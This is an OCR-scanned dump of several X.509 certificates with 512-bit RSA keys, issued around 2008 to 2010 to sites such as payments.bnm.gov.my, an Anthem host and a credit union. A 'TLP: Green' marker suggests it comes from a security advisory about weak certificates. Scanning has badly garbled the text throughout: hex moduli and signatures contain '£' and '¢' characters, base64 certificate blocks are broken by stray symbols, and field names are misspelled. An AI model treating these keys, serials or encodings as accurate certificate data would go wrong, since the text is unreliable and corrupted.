§bDAOBgNVHQSBAf8EBAMCBPAWOQYDVROfBDIwMDAuoCngoYoaHROcDovLZNybCSn§
ZW90cnVzdC59b20vY3Jscy9lYml 6Y2ExLmNybDAfBgNVHSMEGDAWGBRKeDJISEALZ
§FjZe38EUNkBqRBxMoTANngqhkiG9wOBAQQFAAOBgQCZpRYLPj3RprcCcUiEtnP§
§xXaJSnsnvi3WUytrpNoL8/w/cszHFyho+94gOOquszJEst6D2L7+oRTJth8
:vo7DdR1gakNapRw766r08za8NGNyKtjF17ajgqlSRXj88SDYSUTEAVSixpIl/g3+Uv :
| SMK9MyBgS1dmAIkhxGjVag== :
§END CERTIFICATE

%Certiﬁcate:
Data:
Version: 3 (0x2)
Serial Number: 27455 (0x6b3f)
Signature Algorithm: shalWithRSAEncryption
Issuer: C=DE, O=TSystems
Enterprise Services GmbH, OU=Trust Center Deutsche
Telekom, CN=Deutsche Telekom CA 5
Validity
Not Before: Oct 20 06:55:03 2008 GMT
Not After : Oct 25 06:55:03 2009 GMT
Subject: O=AIC GmbH, OU=AIC Certificate Service CO06,
L=Sindelfingen, ST=BAW, C=DE, CN=www.kuechentraum24.de
Subject Public Key Info:
Public Key Algorithm: rsaEncryption

PublicKey: (512 bit)

Modulus:
00:b7:92:e8:ac:bd:17:08:20:35:53:82:2a:c4:c9:
£8:05:a5:¢c0:£fc:c0:43:£9:¢5:79:5¢c:43:f4:58:22:
6f:cd:db:cl:d2:a9:45:31:33:1e:da:73:da:7b:5a:
ea:2e:80:eb:30:80:fc:58:1e:1e:89:b2:15:1b:fc:
bc:f2:45:4d:ff

Exponent: 65537 (0x10001)

X509v3 extensions:
X509v3 Authority Key Identifier:
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keyid:B3:F5:5F:A6:02:3C:23:10:5B:71:A1:7C:B3:A7:40:8
5:A8:85:26:B8
X509v3 Key Usage: critical
Digital Signature, Key Encipherment
X509v3 Subject Key Identifier:
80:B5:D5:2B:3F:F9:B6:18:91:23:AE:A9:27:5B:20:D4:9E:
02:E9:A7
X509v3 Certificate Policies:
Policy: 1.3.6.1.4.1.7879.13.2
CPS: http://wwwca.telesec.de/Pub Cert/ServPass/cps/
CPS ServerPass V34.pdf
X509v3 CRL Distribution Points:
Full Name:
URI:http://wwwca.telesec.de/cgibin/
Pub Cert/ServPass/DwnloadCRL.crl?issuer
dn=Deutsch
e Telekom CA 5
Full Name:
URI:1ldap://ldapserverpass.
telesec.de/cn=Deutsche%20Telekom%20
CA%205,0u=Trust%20Center%20Deutsche%20
Telekom, 0=TSystems%20Enterprise%20Services%20
GmbH, c=de?certificateRevocationlist?ba-
se?certificateRevocationlist=*
X509v3 Basic Constraints: critical
CA:FALSE
X509v3 Subject Alternative Name:
DNS:www. kuechentraum24.de

Signature Algorithm: shalWithRSAEncryption

b6

:bc:98:3d:6c:44:95:50:¢1:06:94:71:01:05:2d:99:85:e3:
db:
b9:
Se:
92:
93:
05:
2e:
d3:
£7:
93:

6e:39:58:fd:f0:45:1¢c:0d:3c:b3:45:33:e9:66:£fd:99:f0:
c0:98:8a:af:01:f5:b4:66:a7:7e:11:8a:6c:71:09:b9:fa:
66:fc:3d:03:13:£f1:¢c6:79:7c:bb:c5:fb:b7:e5:6b:c8:e3:
7Te:7d:fb:87:e0:7d:5e:3e:64:6e:df:27:52:85:d3:9b:71:
84:2b:38:d1:4b:10:fc:23:e2:ae:7a:cb:a7:01:d1:c5:30:
76:2d:26:£f5:9f:09:5b:8c:e7:3b:3c:2d:fb:a9%9:10:61:40:
da:45:75:¢c2:¢c3:d1:20:8d:da:£3:72:3f:5c:7d:bd:el:86:
43:9d:81:71:84:09:2f:13:af:el:cb:55:¢c2:0d:a4:3c:d3:
£2:e0:12:22:96:a7:5d:0b:ff:b3:9f:fa:f6:cf:23:19:82:
dc:ab:a7:fe:76:10:£ff:5e:32:00:d7:69:1a:al:eb6:2a:e2:

TLP: Green
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31:63:d6:14:£f6:69:17:d4:bc:e2:68:¢c9:76:71:82:14:5f:a8:
88:f7:2:3d:10:50:da:aa:97:96:08:£8:33:18:d2:1a:93:4f:
5c:58:fc:c0:05:e0:31:£2:59:cf:5e:2e:f5:6a:1f:6c:0f:fa:
34:0b:2c:c9

:BEGIN CERTIFICATE :
§MIIFDTCCA/WgAwIBAgICaz8wDQYJKozIhchAQEFBQAngIszAJBgNVBAYTAkRF§
I MSswKQYDVQQKEyJULVN5c3R1IbXMgRW50Z2XJwecml zZSBTZXJ2aWN1 cyBHbWIIMSYw :
§JAYDVQQLEXlUchdeBDZWSOZXIgRGVldHNjaGUgVGVsZthbTEeMBwGAlUEAXMV§
§RGVldHNjaGUgVGVSZthbSBDQSAlMB4XDTA4MTAyMDA2NTUWMlOXDTASMTAyNTAZ§
§NTUleongsXETAPBgNVBAoTCEFJQyBHbWJIMSQwIgYDVQQLExtBSUMgQZVdelm§
§aWthGUgU2Vydm1jzsBDMDYxFTATBgNVBAcTDFprlebGZpbmdlbjEMMAoGAlUE§
: CBMDQkFXMQswCQYDVQQGEwJERTEEeMBWGA1UEAXMVA3d3Lmt1ZWNoZW50cmF1bTIO :
§LleMFwwDQYJKoZIhchAQEBBQADSwAwSAJBALeS6Ky9F7ggNVOCKsTJ+LWlezA§
§Q/nFerD9ngb8wadeRTEthpzZnta6i6A6zCA/FgeHomyFRv8vPJFTf8CAwEA§
: AaOCAkgwggJEMBSGA1UdIWwQYMBaAFLP1X6YCPCMOW3GhfLONQIWohSa4MA4GALUd :
§DWEB/WQEAWIFoDAngNVHQ4EFgQUgLXVKZ/5thiRI66lesg1J4C6acwagYDVROg§
! BGMwYTBfBgkrBgEEAb1HDQIwUBOBggrBgEFBQCCARZEaHROCcDovL3d3d2NhLnR1
§bGVZZWMUZGUVUHViXONlCnQVUZVydlBhC3MVY3BZLONQU19TZXJZZXJQYXNZX1YZ§
§Nc5wZGnggFUBgNVHR8EggFLMIIBRanoGWgY4ZhaHRocDovL3d3d2NthR1bGVz§
P ZWMuZGUvY2dpLWJIpbi 9QdWJI£Q2VydC9TZXJ2UGFzcy9Ed25sb2FkQ1IMLmNybD8t
§aXNZdWVyX2RuPURldXRZY2th1RleVrb2lfQOFfNTCBZ6CB2KCB1YaBOkaYXA6§
' Ly9sZGFwLXNlcnZlcenBhe3MudGVsZXN1Yy5kzS9ibi1EZXV0c2NoZSUYMFR1bGVY *
§b20leBDQSUyMDUSb3U9VHJIC3QleBDZW5OZXIleBEZXVOCZNOZSUyMFRleVrg
§b2OsbleLVN5c3RleMleBanRlananNlJTIWUZVydmljZXMleBHbWJILGM9§
1 Z2GU/Y2VydGlmaWNhdGVSZXZvY2F0aW9ubGlzdD91YXN1P2N1cnRpZml jYXR1UMV2 :
§b2thG1vbmxpc3Q9KjAMBgNVHRMBAf8EAjAAMCAGAlUdEQQZMBeCFXd3dy5rdwvj§
$ aGVudHIhdWOyNC5kZTANBgkqhkiGOw0OBAQUFAAOCAQEAL r yYPWxE1VDBBpRxsQUt *
§mYXj2245WP3WRRWNPLNFM+lm/anucCYiqSB9mep34Rimxben6me8PQMTSCZS§
| fLvF+7fla8kn59+4£gEV4+2GT£I1KF05txk4QrONFLEPW) 4q56y6CBOCUWBXYL |
P JVWEUVUM52s8LEupEGFALtpFdcLDOSCN2vNyP1x9veGG000dgXGECS8Tr+HLVCIN *
i pDzT9/LrEiKWplOL/70£+vbPoxmCkIyrp/52EPYeMgDXaRqh5iriMIPWEPZPFISE |
§4mjJdnGCFF+oiPﬁPRBQ2qulgj4ijSGpNPXFj8wAXngJZzl4u9WofbA/6NAss§
{END CERTIFICATE

%Certiﬁcate:
Data:
Version: 3 (0x2)
Serial Number: 27585 (0Ox6bcl)
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Signature Algorithm: shalWithRSAEncryption
Issuer: C=US, O=Anthem Inc, OU=Ecommerce, CN=Anthem Inc
Certificate Authority
Validity
Not Before: Jan 13 19:01:43 2010 GMT
Not After : Jan 13 19:01:43 2011 GMT
Subject: C=US, ST=Indiana, L=Indianapolis, O=Anthem
Companies Inc, OU=AIT, CN=wwwl8.anthem.com
Subject Public Key Info:
Public Key Algorithm: rsaEncryption

PublicKey: (512 bit)

Modulus:
00:a20:66:16:2a:3f:32:86:a5:e7:75:1a:3d:02:0a:
4c:04:ed:af:80:92:e0:70:8f:54:64:c7:4d:18:ee:
51:97:2£:00:39:44:fc:6£:£6:63:9c:65:47:64:7b:
73:43:4a:85:2b:db:f6:£1:79:02:50:73:05:15:73:
£8:64:0d:b4:b7

Exponent: 65537 (0x10001)

X509v3 extensions:

X509v3 Basic Constraints: critical
CA:FALSE

X509v3 Subject Alternative Name:
email:DLAITMiddleware@anthem.com

X509v3 Key Usage: critical
Key Encipherment

X509v3 Authority Key Identifier: :
keyid:FA:1A:DC:3E:5D:A6:B5:FD:FA:5F:6C:CB:28:40:D3:E!
0:97:A2:AA:AC :

DirName:/C=US/0O=GTE Corporation/OU=GTE CyberTrust

Solutions, Inc./CN=GTE

CyberTrust Global Root

serial:07:27:16:11
X509v3 Subject Key Identifier:
06:EC:C3:75:99:AA:67:1E:13:4A:B7:DD:83:8A:5B:86:E3:
8E:F9:DD
Signature Algorithm: shalWithRSAEncryption
6c:0d:£7:59:¢c5:48:2d:c4:81:f5:be:8b:87:0b:fe:94:2d:3c:
ed:c1:8f:ad:88:41:7£:90:71:£6:56:8d:70:ba:ff:20:c7:6d:
8d:52:28:0a:8f:cc:04:82:45:72:1e:0e:9f:43:7d:af:da:£f3:
07:34:02:3a:97:5e:04:44:31:4b:21:80:ec:ce:02:98:30:59:
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dc:87:73:90:99:d1:79:ca:d8:bd:aa:cd:34:65:e2:¢c1:1£:78:
c2:da:69:60:3a:ca:0b:6b:6e:dd:80:6d:£d:20:09:85:88:2c:
9a:40:7c:fb:7d:78:ca:3e:c6:bf:81:3a:6a:09:e9:d9:c5:e8:
57:9:94:22:8a:f8:¢c8:1f:0e:84:90:d1:77:5a:80:b6:c3:13:
ca:86:0a:90:78:a0:9£:83:84:06:eb:8d:d1:17:50:78:68:b0:
bb:99:2a:50:£7:44:92:4e:3a:ca:63:48:aa:5e:30:1b:12:89:
b7:1d:f3:a7:4a:02:cc:da:2f:fc:e6:47:57:07:01:33:f0:bf:
7£:6€:26:59:62:ec:66:08:1f:26:09:65:7c:db:ed:c2:09:d2:
97:e7:15:e4:34:a8:d6:f3:d2:3a:f9:20:6a:a0:al:af:93:1b:
ea:8c:ea:ab:2a:26:da:a0:73:ed:ed:67:£6:53:a0:84:al1:0c:
31:£f:d8:08

:BEGIN CERTIFICATE :
{MIIDpDCCAOYgAWIBAGICa8EWDQYJKoZ ThveNAQEFBQAWYTELMAKGA1UEBhMCVVMx |
: EzZARBgNVBAOTCkFudGh1bSBJIbmMxEjAQBGNVBASTCUVib21tZXJj ZTEPMCCGALUE :
 AxMgQW50aGVt IELuYyBDZXJ0aWZpY2F0ZSBBAXRob3JpdHkwHhcNMTAWMTE zMTkw
§MTQthcNMTEwMTEzMTkwMTszjB+MstCQYDVQQGEwJVUzEQMA4GAlUECBMstsk§
 aWFUYTEVMBMGA1UEBXMMSW5kaWFuYXBvbG1zMROwGWYDVQQKEXRBbnRoZW0gQ29t
§cGFuaWVzIEluYzEMMAoGAlUECxMDQUlUMRkawYDVQQDExB3d3chCShbnRoZWOu§
{ Y2 9tMFwwDQYJKoZ IhvcNAQEBBOADSwAWSAJBAKBMFio/Moal53UaPQIKTATtr4usS :
! AHCPVGTHTRjUUZcVADLE/G/2Y5x1R2R7cONKhSVbIVF5A1BZBRVZ+GONt LCCAWEA !
| AaOCAQ8WGGELMAWGALUAEWER /wQCMAAWJwY DVRORBCAWHOECREWtQU1ULULPZGRS |
¢ ZXdhcmVAYW50aGVt LmNvbTAOBgNVHQ8BA f SEBAMCBSAWgaIGA1UdIwSBmjCB14AU :
§+hrcP12mtf36X2zLKEDT4JeiqtheaR3MHUxCzAJBgNVBAYTAlVTMngFgYDVQQK§
§Ew9HVEUgQ29ycG9yYXpr24xJzA1BgNVBAsTdeURSBDeWchlRdeNoIFvaHvo§
falW9ucywgSW5jLIEJMCEGAIUEAXMaR1IRFIENSYmMVyVHI1c3QgR2xvYMFsIFJvb3SC
§BAanhaHQYDVROOBBYEFAbstWquceEOq33YOKW4bjjvndMAOGCSqGSIbBDQEB§
{ BQUAA4IBAQBsDfdZxUgtxIH1vouHC/6ULTzkwY+tiEF/m3H2Volwuv8gx22NUigK :
§j8wEngyHg6fQ32v2vMHNLI6116ORDFLIYDSngYMFnch30deF5yti9qsOOZeLB§
i H3jC2mlg0soLa27dgG39IANFiCyaQHz7£XjKPsa/gTpqCensxehX625iiv) THW6E |
‘m9F3WoC2wxPKhggbeKCfg4QG643RF1B4aLC7mSpQ90SSTjrKY0igXjAbEom3HEON :
§SgLMZi/85kdXB7Ez8L9/biZZYuxmuB+mCWV82+TCCdKX5xXkNKjW89I6+SquKGv§
{ kxvqjOqlKibaoHPt 7TWEf2U6CE0Qwx/ 9g1 :
{END CERTIFICATE

%Certiﬁcate:
Data:
Version: 3 (0x2)
Serial Number: 2176345 (0x213559)
Signature Algorithm: shalWithRSAEncryption
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Issuer: C=MY, O=Digicert Sdn. Bhd., 0U=457608K,
CN=Digisign Server ID (Enrich)
Validity

Not Before: Dec 17 08:55:45 2008 GMT

Not After : Dec 17 08:55:45 2010 GMT
Subject: C=MY, O=JARING Communications Sdn.Bhd.,
OU=JARING, CN=www.flexicorp.jaring.my, L=W.Persekutuan/
emailAddress=sysadmin@jaring.my, ST=Kuala Lumpur
Subject Public Key Info:

Public Key Algorithm: rsaEncryption

PublicKey: (512 bit)

Modulus:
00:ed:61:d7:12:£3:94:1a:5f:d1:8b:28:35:b4:18:
38:d3:32:7b:70:79:94:79:64:3d:db:bd:ad:f2:ff:
6c:61:£fd:43:05:¢c1:£8:41:95:de:01:c2:ca:98:65:
d6:9f:bc:21:5¢:35:76:9f:£ff:3a:62:88:7b:32:21:
94:52:el:46:ef

Exponent: 65537 (0x10001)

X509v3 extensions:
X509v3 Subject Key Identifier:
46:B9:8C:9E:2E:F7:69:2F
X509v3 Certificate Policies:
Policy: 2.16.458.1.1
CPS: http://www.digicert.com.my/cps.htm
X509v3 Authority Key Identifier: :
keyid:C6:16:93:4E:16:17:EC:16:AE:80:94:76:F3:86:6D:C§
5:74:6E:84:77 :
X509v3 Key Usage:
Digital Signature, Non Repudiation, Key
Encipherment, Data Encipherment
Signature Algorithm: shalWithRSAEncryption
70:15:12:93:d0:13:¢c8:91:£1:18:a9:76:bb:87:bd4:44:aa:77:
27:05:26:50:95:6c:c0:6f:¢c5:94:7d:33:94:d3:6e:12:6f:dd:
90:12:18:e9:a6:48:cb:d8:a4:8a:a4:68:70:92:32:£fd:d8:7c:
00:9c:db:de:7e:dd:1e:41:00:2e:4c:48:£0:73:85:79:a8:df:
68:45:41:97:01:06:02:c4:9f£:9d:04:6a:13:d4:6e:63:ec:bf:
c9:00:82:£2:51:89:33:c0:3b:ba:4c:eb:8a:98:a3:28:34:30:
5d:ab:12:¢c6:71:cf:09:68:3d:47:6d:f2:c0:9e:41:44:83:7c:
Ob: fe
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iBEGIN CERTIFICATE :
:MIIC3jCCAkegAWIBAgIDITVZMAOGCSGSIb3DQEBBQUAMGMxCzZAJBgNVBAYTAKLZ :
| MRSWGQYDVQQKExJEaWdpY2VydCBTZGAuIEJoZCAXxETAPBGNVBASTCDO1NZ YWOC1L :
: MSQWIgYDVQQDExtEaWdpc2lnbiBTZXJ2ZXIgSUQgKEVUcmljaCkwHhcNMDgxMIES
 MDg1NTQ1WhcNMTAXMJE3MDg1NTQ1WS CBuzELMAKGALUEBhMCTVkxJzA1BgNVBAOT :
§HkpBUklORyBDb21tdWSpY2FOaW9ucyBTZG4uthijEPMAOGAlUECxMGSkFSSUSH§
' MSAwHgYDVQQDExd3d3cuZmxleGlib3JwlmphcmluZy5te TENMBQGA1UEBXMNVyY5Q *
§ZXJZZthdHVhbjEhMB8GCSqGSIb3DQEJARYSc3leWRtaW5AamFyaW5an1SMRUW§
§EWYDVQQIwaLdWFSYSBMdWldeIwXDANngqhkiG9WOBAQEFAANLADBIAkEA7WHX§
§EvOUGl/Riyglth40zJ7e3mUeWQ9272t8v9sz1DBcH4QZXeAcLKmGXWn7thDV2§
§n/86Yoh7MiGUUuFG7wIDAQABO4GKMIGHMBEGAlUdDgQKBAhGuerLvdpLzBEBgNV§
: HSAEPTATMDKGBWCDSgEBMDAWLGY IKwYBBQUHAGEWIMhOdHAG6LY93d3cuzGlnaWN] :
§chuYZ9th15L2chy50dGOwHwYDVROjBngFoAUxhaTThYX7BaujJR284thXRu§
§hHCWCWYDVROPBAQDAgTWMAOGCSqGSIb3DQEBBQUAA4GBAHSVEpPQESiR8RipdruH§
§tESqdychlquMBvxZR9M5TTthv3ZASGOmmSMvaIqkaHCSMvBYfACc295+3R5B§
| sC5MSPBzhXmo32hFQZCBBrLENn50EahPUbmPsv8kAgvJIRITPAOTpM64qYoygOMF2r |
iEsZxzwloPUdt8sCeQUSDfAvV+ :
{END CERTIFICATE

%Certiﬁcate:
Data:
Version: 3 (0x2)
Serial Number: 2674380 (0x28cecc)
Signature Algorithm: shalWithRSAEncryption
Issuer: C=MY, O=Digicert Sdn. Bhd., 0U=457608K,
CN=Digisign Server ID (Enrich)
Validity
Not Before: Dec 7 08:02:08 2009 GMT
Not After : Dec 7 08:02:08 2010 GMT
Subject: C=MY, O=BANK NEGARA MALAYSIA, OU=BANK NEGARA
MALAYSIA, CN=payments.bnm.gov.my
Subject Public Key Info:
Public Key Algorithm: rsaEncryption

PublicKey: (512 bit)

Modulus:
00:a20:¢c6:99:f0:88:9%a:1c:ee:f7:22:72:5e:bc:1f:
02:40:68:f6:95:54:36:75:56:03:31:0b:0c:54:c3:
46:9:39:ec:62:04:83:61:2d:bl:ab:42:3b:a2:4f:
4b:98:bb:6c:37:a8:3d:98:26:¢c8:2d:5f:75:86:3f:
b4:39:be:41:53
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Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Subject Key Identifier:
42:65:56:13:70:34:D0:63
X509v3 Certificate Policies:
Policy: 2.16.458.1.1
CPS: http://www.digicert.com.my/cps.htm
X509v3 Authority Key Identifier: :
keyid:C6:16:93:4E:l6:17:EC:16:AE:80:94:76:F3:86:6D:C§
5:74:6E:84:77 :
X509v3 Key Usage:
Digital Signature, Non Repudiation, Key
Encipherment, Data Encipherment
Signature Algorithm: shalWithRSAEncryption
aa:32:37:ce:26:23:14:3e:dc:33:77:a6:bb:df:8d:f1:27:bl:
64:05:03:9p:a3:5¢c:d7:63:e7:7b:bd:63:a4:al:61:7c:d0:3c:
le:cb:e6:a2:a9:01:6f:36:4a:44:de:50:£f3:a0:53:d0:39:56:
a8:05:05:d0:24:42:08:2e:d3:98:f3:0a:1a:94:29:73:eb:d2:
38:90:a40:9f:9€:39:2d:52:10:57:4e:12:8e:72:2a:e3:87:80:
£8:£2:16:5d:56:15:cc:ea:74:96:f4:ef:d1l:2e:1b:70:£9:bb:
ba:b9:2a:01:4c:3d:38:51:10:e0:4e:8d:53:05:6b:88:a1:77:
ab:al

{BEGIN CERTIFICATE :
{MIICizCCAfSgAWIBAGIDKM7MMAOGCSGGSIb3DOEBBQUAMGMxCZzAJBGNVBAYTAKLZ :
| MRswGQYDVQQKExJEaWdpY 2VydCBTZG4uIEJoZC4xETAPBGNVBASTCDQINZYWOCLL !
: MSQWIgYDVQQDExtEaWdpc21nbiBTZXJI2ZXIgSUQUKEVucmljaCkwHhcNMDkxMIA3 |
: MDgwMj A4WhcNMTAxM§ A3MDgwMj A4W3 BpMOswCQYDVQQGEWINWTEAMBSGALUEChMU :
{ QkFOSyBORUABUKEGTUFMQV1TSUEXHTALBGNVBASTFEJBTksgTkVHQVIBIELBTEFZ |
: U01BMRwwGQYDVQQDEXNwYX1tZW50cy5ibm0uz2 92Lml 5SMFwwDQY JKoZ ThveNAQEB :
§BQADSWAWSAJBAKDGmeImhzu9nyerfAkBo9pVUNnVWszELDFTDRuk57GKOg2Et§
i 5atCO6JPS517bDeoPZgmyCl£dYY/ t Dm+QVMCAWEAARAOB1 CBhzARBGNVHQ4ECGQT |
: OMVWE3A00GMwRAYDVROgBDOWOzA5BgVgg0oBATAWMCAGCCsGAQUFBWIBFiJodHRW :
{018vd3d3LmRpz219ZXJOLmNVbS5teS 9 cHMuaHRtMB8GALUdTwQYMBaAEMYWkO4W |
! F+wiiroyUdvOGbcVOboR3MASGA1UdDWQEAWIE8 DANBgkqhkiG9wOBAQUFAAOBGQC] :
{Mj£OJiMUPtwzd6a7343xJ7FkBbObolzXY+d7vilOkoWF80DwexeaiqQFvNkpE31Dz '
{ OFPQOVaotQXQJIEK4LLOY8wW0alClz6914m6CEn  ktUnBXThKOCirjh4D48hZdVhXM |
:6nSWO0/RLhtw+bu6uSgxTD04URDgTOo1 TBWuUIoXeroA== :
{END CERTIFICATE
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iCertiﬁcate:
Data:
Version: 3 (0x2)
Serial Number: 01:00:00:00:00:01:1£f:80:95:bf:76
Signature Algorithm: shalWithRSAEncryption
Issuer: 0=GlobalSign Inc, CN=Cybertrust SureServer CA
Validity
Not Before: Feb 16 18:44:52 2009 GMT
Not After : Feb 16 18:44:52 2011 GMT
Subject: CN=ambermms.syniverse.com,
C=US/emailAddress=belinda.jablonski@syniverse.com,
L=Tampa, O=Syniverse Technologies Inc., OU=Crossroads,
ST=Florida
Subject Public Key Info:
Public Key Algorithm: rsaEncryption

PublicKey: (512 bit)

Modulus:
00:a25:13:53:17:02:f7:cd:33:64:7d:e8:27:8f:e9:
bc:ab:db:96:3b:41:0d:b6:c4:2a:10:d5:64:58:87:
ac:62:de:09:2e:¢c5:5£:79:¢c5:d5:9e:26:9b:1a:9a:
e3:99:3b:e2:2e:48:7e:9c:5f£:74:c9:34:09:b3:ab:
40:7f:bb:e9:35

Exponent: 65537 (0x10001)

X509v3 extensions:

Netscape Cert Type:
SSL Client, SSL Server

X509v3 Key Usage: critical
Digital Signature, Non Repudiation, Key
Encipherment, Data Encipherment

X509v3 Authority Key Identifier:
keyid:2B:37:53:93:64:47:66:23:4F:00:D3:F7:DD:E8:30: B
6:5B:84:89:23

X509v3 CRL Distribution Points:

Full Name:

URI:http://crl.globalsign.net/sureserver.crl
X509v3 Basic Constraints: critical
CA:FALSE
Signature Algorithm: shalWithRSAEncryption
11:6€:15:44:00:d1:29:98:61:27:c0:£f2:28:ac:50:70:e6:63:
25:f2:75:ec:4d:30:fe:0a:34:ed:77:54:4a:d4:53:0£:60:d6:
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45:8a:70:6f:5f:c8:c2:bd:8d:4d:6b:e2:f4:d6:43:cc:34:fe:
ad:ba:b6:ec:cb:88:68:0d:38:0a:99:09:18:73:¢9:1d:05:97:
5€:95:43:¢5:92:a29:00:£6:2f:4d:8c:51:09:bb:22:74:b4:9e:
34:96:d9:9¢c:82:d2:fb:2c:be:0c:29:4d:50:5f:a5:3c:1a:d5:
38:ca:d9:74:7a:81:¢c5:11:79:a4:4d:¢c6:23:81:14:2b:d3:bl:
46:18:06:¢c0:2:4a:97:06:07:¢c3:d7:b6:77:51:d9:4£:05:21:
45:bb:b0:7c:4f:bc:6e:£6:72:62:22:28:1c:00:06:70:02:2b:
c5:11:06:d0:c3:e0:ce:d7:81:££:d6:c7:97:03:9d:87:68:b7:
3a:c4:53:18:bf:cc:ed:b3:7f:fc:60b:83:b1:35:04:cl:ee:ea:
42:d5:bf:c2:57:ff:18:a3:ce:52:a4:2c:92:2a:6f:06:98:62:
45:98:96:76:90:80:32:09:8c:fe:93:a28:86:9:50:62:9a:a6:
11:52:1d:81:67:dc:84:ed:d8:e4:3d:al:b7:0f:85:fd:bl:4b:
6f:bd:fe:3c

{BEGIN CERTIFICATE :
gMIIDRjCCAi6gAwIBAgILAQAAAAABH4CVV3YWDQYJKOZIhchAQEFBQAwPDEXMBUG§
§AlUEChMOR2xvaFsU2lnbiBmeMxITAfBgNVBAMTGEN5YmVdeJ1c3QgU3VyZVNl§
§CnZlCiBDQTAeFWOWOTAyMTYXODQONTJaFwOXMTAyMTYXODQONTJaMIG7MR8WHQYDé
$VQODExZhbWJlcmltcy5zeWSpdmVyc2UuY29tMQswCQYDVQQGEWIVUZEUMCWGCSQG
§SIb3DQEJARYmeVSaW5kYS5qYWJSb25za2lAC3luaXZlanlevaTEOMAwGAlUE§
: BXMFVGFt cGExJDAiBgNVBAOTGINS5bm1 22X JzZSBUZWNobmIsb2dpZXMgSW5JLIET :
§MBEGAlUECxMKQBJvc3Nyb2chzEQMA4GAlUECBMHRmxvcmlkYTBcMAOGCSqGSIbB§
: DQEBAQUAAOSAMEgCQQCIE1IMXAVENM2R96CeP6byr25Y70022xCoQ1lWRYh6x13gku :
| xV95xdWe Jpsamu0Z0+ TuSH6CX3TINAMZPUB/ u+k1AGMBAAG] gZAwgYOWEQYJYIZT '
§AYb4QgEBBAQDAgbAMA4GAlUdDWEB/WQEAWIE8DAfBgNVHSMEGDAWgBQerOTZEdm§
{T08A0/fd6DC2W4SITzA5SBgNVHREEM AwMC 6gLKAGh1ihodHRwO18vY3JsLmdsb2Jh :
§bHNpZ24umeOL3N1cszZXJ2ZXIuY3JsMAwGAlUdEwEB/wQCMAAwDQYJKoZIhch§
! AQEFBQADgGEBABFUFUSWOanYYSFAB81isUHDMYyXydexNMP4KNO1 3VErUUw9Igl kWK :
§cG9fyMK9jU1r4vTWQ8wO/q26tuzLiGgNOLqZuhayROFll6VQ8WSqQD2L02MUQm7§
§InSOnjSW2ZyCOvssvgprVprTwalTjK2XR6chReaRinOBFCstUYYtsDiSpe2§
: B8PXtndR2USFIUW7sHxPvG72cmIiKBywBnACK8URttDDAMT7Xgf/Wx5cDnYdotzrE :
i Uxi/z0Szf/xrg7E1BMHU6KLVv8JX/x1j2z1KkLIIgb7aYYkWY1naQgDK5jP6TqIbp |
: UGKaphFSHYFn3ITt20Q90bcPhf2xS2+9/jw= :
{END CERTIFICATE

%Certiﬁcate:
Data:
Version: 3 (0x2) :
Serial Number: 71:a49:60:1f:3d:87:46:30:9b:bf:5e:cf:28:24:8"
b:fe :
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Signature Algorithm: shalWithRSAEncryption :
Issuer: C=US, O=VeriSign, Inc., OU=VeriSign Trust Network, :
OU=Terms of use at https://www.verisign.com/rpa (c)09, :
CN=VeriSign Class 3 Secure OFX CA G3
Validity

Not Before: Oct 26 00:00:00 2009 GMT

Not After : Oct 26 23:59:59 2010 GMT
Subject: C=US, ST=Missouri, L=Bridgeton, O=Vantage Credit
Union, OU=IT Department, CN=secure2.eecu.com
Subject Public Key Info:

Public Key Algorithm: rsaEncryption

PublicKey: (512 bit)

Modulus:
00:be:6e:4a2:59:2e:33:40:79:33:79:d9:90:34:68:
a6:74:£1:7f£:02:dl:ac:91:21:5a:el:bf:34:03:62:
33:0d:bb:bc:0a:29:ec:9c:fd:ea:l16:ac:9d:e3:1b:
6f:7d:c7:68:ef:ee:04:03:6£:83:23:cd:1e:82:bb:
ab:24:6d:22:7f

Exponent: 65537 (0x10001)

X509v3 extensions:
X509v3 Basic Constraints:
CA:FALSE
X509v3 Key Usage:
Digital Signature, Key Encipherment
X509v3 CRL Distribution Points:

Full Name:
URI:http://0fxG3crl.verisign.com/OFXG3.crl

Authority Information Access:

OCSP URI:
http://ocsp.verisign.com

CA Issuers URI:
http://o0fxG3aia.verisign.com/0OFXG3.cer

X509v3 Certificate Policies:

Policy: 2.16.840.1.113733.1.7.23.3

CPS: https://www.verisign.com/rpa
2.16.840.1.113733.1.6.7:

74cb5e68cb6fa8877cc86c25d1ld7cel5
Signature Algorithm: shalWithRSAEncryption
19:35:da:ac:91:36:a2:6c:7e:a0:96:75:9c:23:el:e2:c3:£5:
9e:76:6d:42:6e:3a:2f:c6:23:79:ed:33:7b:c4:d4:a3:58:c3:
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£3:30:e2:69:4e:£9:01:89:41:f7:6a:dd:03:1f:6a:c9:e3:c9:
ab:68:9f:6c:£6:67:31:76:32:e6:75:7b:e5:3a:31:3c:91:7e:
e2:a0:94:18:ef:c9:75:d8:b2:28:bf:ed:8c:e4:69:0b:a6:95:
aa:7c:3c:41:07:0e:fb:80:35:54:4c:3b:c8:c3:ac:2b:c2:86:
c5:a8:61:20:38:22:€9:9c:23:82:d7:e3:80:ee:fl:aa:cb:cd:
27:42:d2:3f:9a:83:66:db:41:66:ee:e7:4a:£9:75:c0:bd:eb:
6c:dd:0e:e2:e5:34:8d:79:2c:cc:cb:79:1b:b0:46:08:ed:18:
ce:38:65:05:f0:87:£c:23:12:£fe:9f:03:d3:0b:5b:0e:e8:9d:
b5:¢c3:07:36:£3:09:42:4c:c4:64:5b:5f:d4:68:ec:40:de:a3:
29:92:8a:a9:75:78:8a:bb:07:4:49:c4:80:5e:94:c5:6¢c:7a:
50:a25:7d:90:18:6b:0d:49:69:£9:93:d6:5b:24:82:a7:85:ee:
d8:fd:fe:6e:f5:81:0c:e2:de:5c:44:c2:f6:67:ee:e3:f0:8c:
07:££:34:90

{BEGIN CERTIFICATE :
{MITEOzCCAYOgAWIBAGIQcalgHz2HRSCbvl7PKCSL/jANBgkahkiGOwOBAQUFADCE :
§sjELMAkGAlUEBhMCVVMXFZAVBgNVBAOTDlZlcmlTaWduLCBmeMuMR8WHQYDVQQL§
PExZWZXJpU21nbiBUcnVzdCBOZXR3b3JrMTswOQYDVQQLEZzJUZXJtcyBvZiBlc2Ug :
§YXanHROcHM6Ly93d3cudianNpZZ4uY29tL3JwYSAonkaTEsMCoGAlUEAxMj§
{ VmVyaVNpZ24gQ2xhc3MgMyBTZWN1 cmUgTOZY IENBICOGRzMwHhcNMDkxMDI 2MDAW
: MDAWWhCNMTAXMDI 2M3jM10TUSWS CBhjELMAKGA1UEBhMCVVMXETAPBGNVBAGTCELD :
